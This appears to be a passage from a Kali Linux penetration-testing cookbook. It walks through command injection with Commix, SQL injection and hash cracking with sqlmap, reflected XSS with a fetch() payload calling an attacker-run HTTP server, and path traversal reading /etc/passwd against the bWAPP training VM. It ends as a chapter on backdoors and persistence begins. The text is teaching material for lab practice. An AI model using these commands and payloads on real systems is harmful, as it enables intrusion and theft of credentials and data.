W site map filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

~ 5 192.168.92.7

0 bwaprp
~ B3 bwaprp Host Method URL
T http://192.168.92.7 GET TEWAPP] i.php
http:/192.168.92.7 POST IBWAPP/commandi.php
> & commandi.php http:/f192.168.92.7 POST IbWAPPcommandi.php
(n] its.php ) .168.92.7 {bWAPP/commandi.php

WAPP/commandi.php

) info.php
*»Ojs
> & login.php
O logout.php Request
) password_change.php __Pretty ~ Raw Hex
> @ portalphp 1 GET /bwAPP/commandi.php HTTP/1.1
. 2 Host: 192.168.32.7
) reset.php 3 User-Agent: Mozilla/5.0 (¥11; Linux xB6 64; rv:140.0) Gecko/20100101 Fi
O security_level_set.php 4 Accept: text/html,applicationsxhtml+xml,application/xmlig=0.9,+/*;q=0.8
- S Accept-Language: en-US,enig=0.5
U & Accept-Encoding: gzip, deflate, br

D) training.php 7 Referer: http://192 168,92, 7/bWAPP/portal . php
- Connection: keep-alive
|Cookie: PHPSESSID=BebcflS662af0bsd7d0ddaabazld8san; |security level=0
10 Upgrade-TInsecure-Requests: 1
11 Priority: u=0, i
> () www.google.com 12
13

w o

D) user_extra.php

) user_new.php

Figure 12.27 - Burp Suite - captured cookie
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19. Let’s open a new terminal window.

20. We are going to use Commix to see whether we can get a shell on our target machine.
Type the following:

sudo commix --url="http://192.168.92.7/bWAPP/commandi.
php"--cookie="security_level=0; PHPSESSID=<YOUR SESSIONID>"

--data="target=127.0.0.1&form=submit"

Tip

\Q/ This exploit will take a couple of minutes to perform because of its inability

to resolve DNS entries.

After a bit of time, you will be presented with a shell.

kali@kali: ~

Session Actions Edit View Help

v4.0-stable

—
Automated All-in-One 05 Command Injection Exploitation Tool
Copyright © astasi nopoulos ( )
-

(1) Leg i i F ix f i ithout prior mutual t is illegal. It is the end u
y to ob L1 L Lle eral 5 L d are not responsible for a
caused

1 [info] Testing connection to the target URL.
] [warning] Potential CAPTCHA protection mechanism detected.
i if th is tected some kind of Wi

t us delays duri
and/or possibl, s tr d data.
Resumed POST parameter g injection point from stored session. Do you want to prompt for a pseudo-terminal shell? [Y/n] >
Pseudo-Terminal Shell (type '?' for available options)
) > 1s

commix( )

Figure 12.28 - Commix shell

21. To demonstrate our access, we can run a couple of commands. Each command will take

a minute or so to run, so be patient:

1s

whoami
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The following figure shows the output:

_pwd.php backdoor.
onfig.inc config connect_ e on. esrf_
traversal ic ternal.php heartbl
ohp hpp-1.php hpp-. php htmli_ nt_url.php htmli gst php htmli_post.php htmli
itting.php http_verb_tamper hp iframei.php images index.php info. nstall.php informati
sure_1.php mfnmm _disclosure_2.php in ti e_3.php
e_1.php insecure_cryp

mm 1.php sm_| 'ut'\ 2.php
tponly g
p sqli_11.php sqli_1

vark huttuu p
php xss_ph
3.

php xss_post.php xss_refe
s_user_agent.php xxe-1.php xxe-2.php

Figure 12.29 - Commix commands
22. You may now exit from the Commix terminal window.

We are going to use Burp Suite for the next recipe. Please proceed directly there; otherwise, if you
are done, please clean up your environment by restoring Firefox, removing the proxy settings,

and exiting Burp Suite.

How it works...

In this recipe, you first used Burp Suite to intercept and analyze a request made to a vulnerable
page in the bWAPP application. By capturing and inspecting the HTTP request, you identified
the necessary parameters to use for the attack. That data was then passed to Commix, a tool that
performs command injection attacks. Commix tested the application and allowed command

execution through a shell.

See also

More information on command injection and Commix can be found at the following sites: https://
github.com/commixproject/commix and https://owasp.org/www-community/attacks/Command_

Injection.

Performing a SQL injection attack

In this recipe, you will exploit a SQL injection vulnerability in a web application to extract sen-
sitive data from its backend database. Using the sqlmap tool, you will automate the process of
identifying injectable parameters, enumerating databases, and dumping table contents. You will

also see how other tools, such as password cracking, can come into play.


https://github.com/commixproject/commix
https://github.com/commixproject/commix
https://owasp.org/www-community/attacks/Command_Injection
https://owasp.org/www-community/attacks/Command_Injection
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Getting ready
e AKaliLinux VM thatis up and operational
e A BeeBox bWAPP VM that is up and operational

e  Burp Suite and Firefox configured per the Performing a command injection attack recipe

How to do it...
1. Open your browser and go to http://192.168.92.7/bWAPP. Log in and set the security
level to low.

2. Under Choose your bug, select SQL Injection (GET/Search) and then Hack.

Choose your kua:
'SQL Injection (GET/Search) v || Hack |

Set your f;ec.ur'H-Y level:

low | Set| Current low

Figure 12.30 - Choose SQL Injection

3. This will bring you to the Search for a movie box. Enter man and click Search. Note the

web address.

¢ bWAPP - SQL Injection  x  +

8
& C @ O @ Not Secure 192.168.92.7
2

Import bookmarks... OffSec Kali Linux #& Kali Tools KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-DB

54

an ex-h"emely bugﬁ\/ web app !

Bugs Change Password Create User Set Security Level Reset Credits

/ SQL Ir\jec-l'ion (GET/Search) /

Search for a movie: | H@l
Title Release Character Genre IMDb
Iron Man 2008 Tony Stark action Link
Man of Steel 2013 Clark Kent action Link
The Amazing Spider-Man 2012 Peter Parker action Link

Figure 12.31 - Search “man”


http://192.168.56.108/bWAPP
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4. Let’s see whether this application is vulnerable to an injection in the search field. Enter
the following to see whether it provides a result:
' union select 1,2,3,4,5,6,7#
5.  Move over to Burp Suite, navigate to sqli_l.php, and record the cookie information.
Burp Project Intruder Repeater View Help Burp Suite Community Editionv2025.10.1-1
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder con
Learn
Site map Scope Issues
7 Site mapfilter: Hiding not hiding CSS, image and general binary content; hiding 4x responses; hiding empty folders
v () 192.168.92.7 Host Method URL Params Statusc
L ~ B3 bWAPP http /192168927 GET __ JbWAPPIsqli 1.php 200
http://192.16892.7  GET  /bWAPP/sqli_1.php?ti.. « 200
— D/ http://192.16892.7  GET  [bWAPP/sqli_1.php?ti... « 200
— O credits.php http://192.16892.7  POST  [bWAPP/sqli_1.php v
et http://192.16892.7  POST  [bwAPP/sqli_1.php v
http://192.168.92.7 GET [BWAPP/sqli_1.php?ti.. «
- () info.php
> Djs
— > @ loginphp
—= [ logout.php
-« ) password_change.php Request Response n =0
— > @ portalphp Pretty Raw Hex a @ wn =
— [ reset.php 1| GET /bWAPP/sqli_1.php HTTP/1.1
- 2 Hest: 192.168.92.7
3 User-Agent: Mozilla/5.0 (X1l: Linux x86_64;
rv:140,0) Gecko/20100101 Firefox/140.0
4 Accept:
text/htnl,application/xhtml+xml,application/xml;g=
— D training.php 0.9,%/%,¢=0.8
e S Mccept Encoding! gmipe deflate, br
— [ user_new.php 7 Referer: http://192.168.92.7/bWAPP/paortal .php
> & www.google.com g
Priority:
Figure 12.33 - Burp Suite cookie information
6. Open a terminal window and enter the following:

sqlmap -u "http://192.168.56.108/bWAPP/sqli_1.php?title=man"
--cookie="<PASTE YOUR COOKIE>" --batch --dbs

kali@kali: ~

Session Actions Edit View Help

[!'] legal disclaimer: Usage of sqlmap for attacki targets without prior mutual consent is illegal. It is the e
obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for an
this program

[*] starting @ 14:29:51 /2025-11-10/
[14
[14:2

resuming back-end DBMS 'mysql’
testing connection to the target URL

51]

51] [InFO]
302 redirect to 'http://192.168.92.7/bWAPP/security_level_set.php'. Do you want to follow? [Y/n] Y
521 [WARNING] potential CAPTCHA protection mechanism detected

Figure 12.34 - sqlmap dbs
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9.

Note that it has identified the backend information and the available databases.

[1 5:25] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8

back-end DBMS: MySQL > 4.1

[1 25] [INFO] fetching database names
available databases [4]:

[*] bWAPP

[*] drupageddon

[*] information_schema

[*] mysql

[13:35:25] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.92

[#] ending @ 13:35:25 /2025-11-07/

Figure 12.35 - sqlmap dbs information
Let’s look into one of the identified databases using the following:

sqlmap -u "http://192.168.92.7/bWAPP/sqli_1.php?title=man"
--cookie="<PASTE YOUR COOKIE>" -D bWAPP --tables --dbs

Figure 12.36 - sqlmap tables dump
Note that you now have a list of the tables in the bWAPP database.

[13:37:42] [INFO] fetching database names
available databases [4]:

[*] bwAPP

[+] drupageddon

[*] information_schema

[*] mysql

[13:37:42] [IN fetching tables for database: 'bWAPP'
Database: bWAPP

[5 tables]

+

| blog

| heroes

| movies

| users

| visitors

fetched data logged to text files under '/home

[*] ending @ 13:37:42 /2025-11-07/

Figure 12.37 - bWAPP tables
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10. Let’s take alook at what might be in the tables database:

sqlmap -u "http://192.168.92.7/bWAPP/sqli_1.php?title=man"

--cookie="<PASTE YOUR COOKIE>" -D bWAPP -T users --dump --dbs

You will see that sqlmap has identified password hashes and is asking for additional in-

structions.

1i_1. title=man X 1 PHPSESSID

users ——dump

['] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the
nd user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability 4
d are not responsible for any misuse or damage caused by this program

[*] starting @ 14:31:53 /2025-11-10/

Figure 12.38 - sqlmap users dump
11. Select the following options:

e Store hashes—N
e Crackhashes—Y
e Dictionary to use — 1 (default)

e  Common password suffixes —N

] fetching columns for table 'users' in database 'bWAPP'
] fetching entries for table 'users' in database 'bWAPP'
0] recognized possible password hashes in columns 'password, activation_code’
you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
you want to crack them via a dictionary-based attack? [Y/n/q] Y
47] [INFO] using hash method 'shal_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file

[3] file with list of dictionary files
> 1

] using default dictionary
se common password suffixes? (slow!) [y/N] N
] starting dictionary-based cracking (shal_generic_passwd)
starting 3 processes
cracked password 'bug' for user 'A.I.M.'
cracked password 'ZAP' for user 'ZAP'
cracked password 'ZAP' for user 'ZAP'

Figure 12.39 - sqlmap user hashes
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12. You will see that it has been able to crack several hashes.

do you want to use common password suffixes? (slow!) [y/N] N
: : 02 starting dictionary-based cracking (shal_generic_passwd)
starting 3 processes
cracked password 'bug' for user 'A.I.M.'

cracked password 'ZAP' for user 'ZAP'
cracked password 'ZAP' for user 'ZAP'

Figure 12.40 - Cracked passwords
13. You will now see the user table dump, which has additional details in it.

Table: users
[3 entries]

- . oA .
| id | email | login | secret | admin | password
| activated | reset_code | activation_code
-
+

S S — e — e
| 1 | bwapp-aimamailinator.com | A.I.M. | A.I.M. or Authentication Is Missing | 1 | 6885858486131043e5839
€735d99457f045affd@ (bug) | 1 | NULL | NULL \
| 2 | bwapp-beeamailinator.com | bee \ Any bugs? | 1 | 6885858486f31043e5839
€735d99457f045affde (bug) | 1 | NULL | NUL |
| 3 | zaproxy@example.com | ZAP | o | 3f6fbi0lestd3e5c2c9043)
775361303e25ebc1da® (ZAP) | @ | a7b52dfiecha291356da71d34d739a204a6e1a63 |

o

Figure 12.41 - User table dump
14. You may now exit from the sqlmap terminal window.

We are going to use Burp Suite for the next recipe. Please proceed directly to thatrecipe. Otherwise,
if you are done, clean up your environment by restoring Firefox, removing the proxy settings, and

exiting Burp Suite.

How it works...

SQL injection occurs when user-supplied inputis included directly in a SQL query without proper
validation or sanitization. By providing the target URL and session cookie to maintain authen-
ticated access, sqlmap is able to identify the injection point, enumerate available databases, and

extract the contents of specific tables.
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See also

More information on SQL injection can be found at the following websites:

e https://owasp.org/www-community/attacks/SQL_Injection
. https://sqlmap.org/

Performing a cross-site scripting (XSS) attack

In this recipe, you will learn how to identify and exploit a reflected XSS vulnerability using the
XSSer tool. Reflected XSS occurs when user input (such as URL parameters) is immediately reflect-
ed by the server. This allows an attacker to inject malicious JavaScript into a website. This script
can then be executed in the victim’s browser, potentially allowing the attacker to steal cookies

or session tokens or perform actions on behalf of the user.

Getting ready
e AKaliLinux VM thatis up and operational
e A BeeBox bWAPP VM that is up and operational

e  Burp Suite and Firefox configured per the Performing a command injection attack recipe

How to do it...
1. Navigate to http://192.168.56.108/bWAPP and log in to the Beebox bWAPP site. Ensure

you set the security level to low. .

2. Under Choose your bug, select Cross-Site Scripting - Reflected (GET) and then select
Hack.

Choose your bua-.
Cross-Site Scripting - Reflected (GET) v | | Hack

Set your -;'—ec.uri’ry level.

low v | | Set | Current: low

Figure 12.42 - XSS GET


https://owasp.org/www-community/attacks/SQL_Injection
https://sqlmap.org/

https://owasp.org/www-community/attacks/SQL_Injection
https://sqlmap.org/
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Enter a first name and last name and select Go. Note the URL.

@ Choose your buﬂ:
- DV iy — v || Hack |

Set your -';ec,ur'rl-y level:

low v ||Set| Current: low

an eerr'emely bugﬂy web aFJF.—

Reset Credits Blog

C-hqmje Password Create User Set Securi-l-y Level

/ XSS - Relected (GET) /

Enter your first and last name:

First name:
|j0hn |

Last name:

|doel |

(Go]

Figure 12.43 - XSS John Doe

Let’s test whether the site is vulnerable to an XSS attack. Enter a name in the First name

field and the following string in the Last name field, and select Go as shown in the figure

below:

/ XSS - RelPected (GET) /

Enter your first and last name:

First name:

‘john ‘

Last name:
|<5cript>alertt'test'h<fscript> |

(o]

Figure 12.44 - XSS script
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5.

We now see with a popup that it’s vulnerable and we exposed it.

@ 192.168.92.7

Figure 12.45 - Alert

Moving over to Burp Suite, grab your cookie information by selecting xss_get.php.

Burp Project Intruder Repeater View Help Burp Suite Community Edition v2025.10.1-1
Dashboard Target Proscy Intruder Repeater Collaborator Sequencer Decoder Com
Learn
Site map Scope Issues

¥ Site map filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4:o responses; hiding empty folders

~ (§ 192.168.92.7 Host Method URL
L ~ 3 bWAPP http:/192.168.92.7  GET IbWAPP/xss_get.php
http:/[192.168.92.7 GET IbWAPP/xss_get.php?firstname=john&l...
— D/ http:/192.168.92.7 GET IBWAPP/xss_get.php?firstnamesjohn&l..
—s [0 credits.php http:/192.168.92.7 POST  [BWAPP/xss_get.php

http:(192.168.92.7 POST  /bWAPP/xss_get.php

—
http:/[192.168.92.7 GET [bWAPP/xss_get.phpTfirstname=&lastn...

—s [0 info.php
—= > Djs

—= > {& login.php
—e D logout.php

—= [ password_change.php Request Response L n

—» > (& portal.php Pretty Raw Hex a @ n =

—= [ reset.php 1| GET /bWAPP/xss_get.php HTTP/1.1

Shell t.ph 2 Host: 192.168.52.7

— O security_level_set.php 3 User-Agent: Mozillas5.0 (X11; Linux x86_64;

—» » & sqli_1.php rv:140.0) Gecko/20100101 Firefox/140.0

— O st st 4 Accept: ) ) . .
text/html,application/xhtml+xml,application/xml;g=

—s (D training.php 0.9,%/%;q=0.8

5| Accept-Language: en-US,en;g=0.5

& Accept-Encoding: gzip, deflate, br

7 Referer:
http://192.168.92.7/bWAPP/sqli_1.php7title=%27+uni
on+select+1%2C2%2C3% 2C4% 2C5% 2C6% 2CT% 238act ion=5sear

> (& www.google.com ch

8 ection: keep-alive

S| Cookie: security_level=0; PHPSESSID=

—s [0 user_extra.php

10 Upgrade-Insecure-Requests: 1
11 Priority: u=0, 1
12

Figure 12.46 - XSS GET cookies
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6. Open a terminal window. To verify XSS vulnerability with XSSer, type the following:

xsser -u http://192.168.92.7 -g "/bWAPP/xss_get.
php?firstname=john&lastname=XSS&form=submit" --cookie="<YOUR COOKIE
INFO>" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:128.9)
Gecko/20100101 Firefox/128.0"--auto

kali@kali: ~

Figure 12.47 - XSSer

The results of XSSer also show that it’s vulnerable.

[+] Final Result

- Injections: 1

- Failed: @

- Successful: 1

- Accur: 100.0 %

Target: http://192.168.92.7 | /bWAPP/xss_get.php?firstname=john&lastname=XSS&form=submit

Vector: [ lastname ]

Method: URL

Hash: e9574aa2b69744392e3b7bd10b600097

Payload: http://192.168.92.7/bWAPP/xss_get.php?firstname=john&lastname=%22%3Ee9574aa2b69744392e3b7bd10
orm=submit

Vulnerable: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [09.02]

Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]

Figure 12.48 - XSSer is vulnerable

7. Now create a simple setup to capture information, as shown:

sudo pyt -m http.server 80

Session Actions Edit View Help
-m http.server 80

[sudo] paséword for kali:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Figure 12.49 - Python web to capture information
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8. Now try and capture some information from the user connecting through a crafted link,

as shown:

xsser -u http://192.168.56.108 -g "/bWAPP/xss_get.
php?firstname=john&lastname=<script>fetch('http://192.168.92.3/"')</
script>&form=submit" --cookie="<YOUR COOKIE INFO>" --user-
agent="Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101

Firefox/128.0" --auto

¢ bWAPP - XS5 x  +

5]
< C o O @ NotSecure  http:// 8.92.7/bWAPP/xss_get.php?firstname=john&lastname=Xscript>fetch(http://192:168:92.3[)</script>: v
£o]

Import bookmarks OffSec KaliLinux & Kali Tools Kali Docs % Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

=59 Choose your bug

Figure 12.50 - XSS info extract

The script injected will register any IP address that used this link to connect:

Session Actions Edit View Help
)-[~]
—% sudo python3 -m http.server 80

[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)
192.168.92.3 - - [@7/Nov/2@25 14:09:11] “"GET / HTTP/1.1" 200 -

Figure 12.51 - Capturing the IP address
9. Youmay now exit the terminal window that’s running the Python HTTP server.

We are going to use Burp Suite for the next recipe. Please proceed directly there. Otherwise, if
you are done, clean up your environment by restoring Firefox, removing the proxy settings, and

exiting Burp Suite.

How it works...

We used XSSer to automate the discovery and exploitation of XSS vulnerabilities. XSSer tested
multiple payloads and identified those that successfully executed. In a reflected XSS attack, the
malicious script is embedded in a URL parameter and reflected back in the HTTP response. If
the application doesn’t properly escape or filter this input, the browser will execute the script

as part of the page.
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See also

For more information on XSSer, check out the site: https://github.com/epsylon/xsser.

Discovering hidden files with R/LFl and ffuf

In this recipe, you will discover how to identify and exploit a remote and local file inclusion
(R/LFI) vulnerability using the ffuf tool in Kali Linux. You will use ffuf to fuzz a vulnerable
parameter in bWAPP, systematically testing for known file inclusion payloads. You will enumer-
ate several vulnerable paths that are identified. Finally, you’ll manually extract key system and

application files.

Getting ready
e AKaliLinux VM thatis up and operational
e A BeeBox bWAPP VM that is up and operational

e  Burp Suite and Firefox configured per the Performing a command injection attack recipe

How to do it...

1. Navigate to http://192.168.56.108/bWAPP and log in to the Beebox bWAPP site. Ensure

you set the security level to low..

2. Under Choose your bug, select Remote & Local File Inclusion (RFI/LFI) and then click
Hack.

Choose your bu:_:]-.

Remote & Local File Inclusion (RFI/LFI) v | | Hack

Set your t;Ec:ur'H'y level:

low v | | Set | Current: low

Figure 12.52 - Choose RFI/LFI


https://github.com/epsylon/xsser
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3. Select alanguage and click Go. Take note of the URL.

¢ bWAPP - Missing Functio X +

[a]
o C @ O A Not Secure 192.16
2

Import bookmarks... OffSec Kali Linux & Kali Tools KaliDocs % Kali Forums X Kali NetHunter Exploit-DB Google

an ex+remely Iaugﬂy web opp !

Bugs Change Password Create User Set Security Level Reset Credits Blog

/ Remote & Loca Fie Inclusion (RFI/LFI) /

Select a language: | English v||G__o\

Thanks for your interest in bWAPP!

Figure 12.53 - RLFl start

4. Now check whether the site is vulnerable by injecting the attack through the URL:

http://192.168.92.7/bWAPP/rlfi.php?language=../../../etc/

passwd&action=go

The following figure shows the inject in the URL.

(3 Not Secure  http://192.168.92.7/!

Figure 12.54 - Inject in URL

5. Check the output. You will see that we have extracted the passwd file.
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/ Remote & Locad Fie Inclusion (REI/LF) /
Select a language:

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/
bin/sh sync:x:4:65534:sync:/bin:/binfsync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/
man:/bin/sh Ip:x:7:7:p:var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/
sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy/bin/bin/sh www-data:x:33:33:www-data:/var/
www:bin/sh  backup:x:34:34:-backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/ivarfist:/bin/sh
irc:x:39:39:rcd /var/runfircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh  libuuid:x:100:101 ::/var/lib/libuuid:/bin/sh  dhep:x:101:102:/

nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false
hplip:x:104:7:HPLIP system user,,,var/run/hplip-/bin/false avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/
avahi-autoipd:/bin/false gdm:x:106:114:Gnome Display Manager:/var/lib/gdm:/bin/false

pulse:x:107:116:PulseAudioc daemon,,, var/run/pulse:/bin/false messagebus:x:108:119::/var/frun/dbus:/bin/false
avahi:x:109:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false polkituser:x:110:122:PolicyKit,,,:/var/run/
PolicyKit:/bin/false haldaesmon:x:111:123:Hardware abstraction layer,,,"var/frun/hald:/bin/false
bee:x:1000:1000:bee,,,/home/bee:/bin/bash mysql:x:112:124:MySQL Server,,, /var/lib/mysql:/bin/false

Figure 12.55 - URL passwd file

6. Let’s get our cookie information from Burp Suite by navigating to rlfi.php on the left.

Burp Project Intruder Repeater View Help Burp Su
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer
Site map Scope Issues

W Site mapfilter: Hiding not found items; hiding CSS, image and general binary content; hiding 4x0c responses; hiding empty folders

> (5 192.168.92.3
~ (0 192168.92.7

Y7 Host Method URL Pa
Y BWAPP hittpy/[192.168.92.7 GET JBWAPP]rlFi.php
http:/f192.168.92.7 GET TBWAPP/rlfi.php?language=../../. fetc/passw... «
v B bwapp http:/f192.168.92.7 GET TbWAPPItlfi.php?language=lang_en.php&ac.. v
D/ http: 168.92.7 GET JBWAPR/rlfi.php v
dits.oh http POST JbVWAPP/rlfi.php ”
ctspip http: POST JEWAPPIrlfiphp v
mages
D infe.php
>»Dijs Request Response
> @ login. php Pretty Raw Hex
O logout.php 1 GET /bWAPP/rLfi.php HTTP/1.1
D password_change.php 2 Host: 152.168,92.7
> @ portalphy 3 User-Agent: Mozilla/5.0 (¥11: Linux xB86_64; rv:140.0) Gecko /20100101 Firefox/]
pertal.php 4 Accept: text/html,application/xhtml+xml,application/xml;g=0,9,*%/%;q=0.8
[) reset.php S Accept-Langusge: en-US,en;g=0.5
>|@® rifi.phy 5 Accept-Encoding: azip, deflate, br
il 7 Referer: http://192.168,92.7/bWAPP/portal .php
D security_level_set.php 8 2 —k 1
S[toaku: security_level=0: PHPSESSIC=3ba08432c9914d230%ad20dflcchatesa
> @ sqli1php - Lt
> [ stylesheets 11 Prierity: u=0, 1
D training.php i;

D user_extra.php

Figure 12.56 - RLFI cookie
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7. Open a terminal window in Kali and let’s use ffuf to discover any hidden files or other

possible entry points:

ffuf -u "http://192.168.92.7/bWAPP/rlfi.php?language=FUZZ&action=go"
-H "<YOUR COOKIE INFORMATION>" -w /usr/share/seclists/Fuzzing/LFI/
LFI-Jhaddix.txt -c

=] kali@kali: ~
Session Actions Edit View Help

rlfi.php? C
/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -

\

_/

Figure 12.57 - ffuf

Tip

\@/ Itis important to note that in the preceding example, you must precede the

cookie information with Cookie:.

8. Youcan see from the results that there is alarge amount of information regarding potential

files we can test against.

:: Progress: [929/929] :: Job [1/1] :: 59 req/sec :: Duration: [@:00:04] :: Errors: 0 ::

Figure 12.58 - ffuf results
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9. Let’s capture some interesting files, starting with the passwd file:

curl -s -H "<YOUR COOKIE INFORMATION>" "http://192.168.92.7/bWAPP/

rlfi.php?language=../../../etc/passwd&action=go"

10. Scroll through the output and you will see that we captured the passwd file:

root:x:@:@:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
i :bin:/bin:/bin/sh
:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: /usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:1p:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10@:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
ww-data:x:33:33:ww-data:/var/ww:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x: :Mailing List Manager:/var/list:/bin/sh

:39:ircd: /var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/st
nobody : x:65534: 65534 :nobody: /nonexistent:/bin/sh
libuuid:x:100:101:: /var/lib/1libuuid: /bin/sh
dhcp:x:101:102:: /nonexistent:/bin/false
syslog:x:102:103:: /home/syslog:/bin/false
klog:x:103:104:: /home/klog:/bin/false
hplip:x:1@4:7:HPLIP system user,,,:/var/run/hplip:/bin/false
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:
gdm:x:106:114:Gnome Display Manager:/var/lib/gdm:/bin/false
pulse:x:107:116:PulseAudio daemon,,,:/var/run/pulse:/bin/false
messagebus:x:108:119:: /var/run/dbus:/bin/false
avahi:x:109:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
polkituser:x:110:122:PolicyKit,,,:/var/run/PolicyKit:/bin/false
haldaemon:x:111:123:Hardware abstraction layer,,,:/var/run/hald:/bin/f
bee:x:1000:1000:bee, ,,:/home/bee:/bin/bash

Figure 12.59 - passwd file
11. Let’s try and capture the group file:

curl -s -H "<YOUR COOKIE INFORMATION>" "http://192.168.92.7/bWAPP/

rlfi.php?language=../../../etc/group&action=go"
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12. Scroll through the output and you will see that we captured the group file.

13.

14.

o]

Session Actions Edit View Help

daemon:x:1:

kmem:x:15

dialout:

fax:x:21:
voice:x:22:
cdrom:x:24:bee
floppy:x:25:bee
tape: 3

sudo :
audio:x:29:pulse,bee

operator:x:37:
list:x:
irc:

gnats:x:41:
shadow:x:42:
utmp:x:43:

Figure 12.60 - group file

Let’s get some system information that may help us better attack the application:

curl -s -H "<YOUR COOKIE INFORMATION>" "http://192.168.92.7/bWAPP/
rlfi.php?language=../../../proc/version&action=go"

Scroll through the output and you will see that we captured some system information.

</select>
<button type="submit" name="action" value="go">Go</button>
</ form>

<br />

Linux version 2.6.24-16-generic (builddapalmer) (gcc version 4.2.3 (Ubuntu 4.2.3-2ubuntu7)) #1 SMP Thu Apr 10 13:23:42 UTC 2008

</div>
<div id="side">

<a href="http://twitter.com/MME_IT" target="blank_" class="button"><img src="./images/twitter.png"></a>
<a href="http://be.linkedin.com/in/malikmesellem" target="blank_" class="button"><img src="./images/linkedin.png"></a>

Figure 12.61 - proc/version
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15. Let’s try getting a file that requires higher privileges:

curl -s -H "<YOUR COOKIE INFORMATION>" "http://192.168.92.7/bWAPP/

rlfi.php?language=../../../proc/self/environ&action=go"

16. Unfortunately, access was denied due to a lack of permissions:

<b>Warning</b>: include(../../../proc/self/environ) [<a href='function.include'>function.include</a>]:
TSR EEn: Permission denied in <b>/var/wew/bWAPP/rlfi.php</b> on line <b>174</b><br />

<br />

<b>Warning</b>: include() [<a href='function.include'>function.include</a>]: Failed opening '../../../proc/self
/environ' for inclusion (include_path=".:/usr/share/php:/usr/share/pear') in <b>/var/www/bWAPP/r1fi.php</b> on 1
ine <b>174</b><br />

Figure 12.62 - Access denied

17. You may now close Burp Suite and exit out of all terminal windows.

How it works...

File inclusion vulnerabilities occur when a web application dynamically includes files based on
user supply. By manipulating parameters, we were able to force the server to include and display
files that were never intended to be accessed, including sensitive system files, application con-
figurations, or even logs. By providing a known list of LFI payloads and supplying our session
cookie, we were able to extract sensitive files and information. This collected information can

help us identify attack vectors or other possible entry points that may be vulnerable to attack.

See also

For more information on file inclusion, please take a look at this site: https://owasp.org/www-

community/attacks/Path_Traversal.

Get This Book’s PDF Version and

Exclusive Extras
'
Ok W0
| "

Scan the QR code (or go to packtpub.com/unlock). Search for this

book by name, confirm the edition, and then follow the steps on

the page.

Note: Keep your invoice handy. Purchases made directly from Packt

don’t require an invoice.



https://owasp.org/www-community/attacks/Path_Traversal
https://owasp.org/www-community/attacks/Path_Traversal
http://packtpub.com/unlock
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Persistence Pays: Securing
Long-Term Access

In this chapter, you will explore the techniques and tools used to maintain long-term access to
compromised systems. While gaining initial access is often the focus of many attacks, persistent
access is what enables an intruder to extract value over time, evade detection, and survive sys-
tem reboots or security interventions. Whether through creating hidden user accounts, planting
malicious code that runs at startup, or establishing covert communication channels, persistence

is a critical phase of the attack life cycle.

You will learn how to use system features to embed access. These techniques use standard admin-
istrative tasks but are executed with stealth in mind. You will also examine ways to communicate
with compromised systems in ways that mimic normal traffic or encrypt payloads to hide from

intrusion detection and prevention systems.
The following recipes will be covered in this chapter:

e  Creating a backdoor in Windows

e  Persisting Windows connectivity

e Creating a backdoor in Linux

e  Persisting Linux connectivity

e  Persisting connectivity through the web

e Masquerading communications with netcat

e  Encrypting communications with Cryptcat
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Technical requirements

You will only need access to the Kali and Metasploitable machines for this chapter.

Creating a backdoor in Windows

In this recipe, you'll learn how to create a persistent backdoor user on a Windows system using
Metasploit. You will create an administrative account that will remain available even after the
machine reboots or is removed. This backdoor account allows an attacker to regain access at
any time without needing to re-exploit the system. This is a common tactic for maintaining

persistent access.

Getting ready

You will need the following to complete this recipe:

e  TheKali Linux VM must be up and operational

e The Windows Metasploitable VM must be up and operational

How to do it...
